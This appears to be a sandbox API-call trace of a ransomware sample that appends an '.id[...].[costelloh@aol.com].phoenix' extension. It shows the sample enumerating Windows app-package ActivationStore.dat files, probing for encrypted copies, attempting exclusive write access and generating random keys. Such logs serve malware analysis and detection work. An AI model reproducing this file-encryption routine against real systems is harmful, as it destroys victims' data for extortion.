	[0251.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.067] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.067] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.067] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.068] CloseHandle (hObject=0x2d4) returned 1
	[0251.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat")) returned 0x20
	[0251.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.068] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.069] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0251.069] CloseHandle (hObject=0x2d4) returned 1
	[0251.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.070] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.070] CloseHandle (hObject=0x2d4) returned 1
	[0251.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.070] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.071] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.071] CloseHandle (hObject=0x2d4) returned 1
	[0251.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.071] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.071] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.072] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0251.072] CloseHandle (hObject=0x2d4) returned 1
	[0251.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.073] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.073] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0251.073] CloseHandle (hObject=0x2d4) returned 1
	[0251.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.074] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.075] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.075] CloseHandle (hObject=0x2d4) returned 1
	[0251.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.075] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.076] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.076] CloseHandle (hObject=0x2d4) returned 1
	[0251.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.076] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.077] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.077] CloseHandle (hObject=0x2d4) returned 1
	[0251.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.078] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.078] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.078] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0251.078] CloseHandle (hObject=0x2d4) returned 1
	[0251.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.079] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.079] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.080] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.080] CloseHandle (hObject=0x2d4) returned 1
	[0251.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.080] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.080] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.081] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.081] CloseHandle (hObject=0x2d4) returned 1
	[0251.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
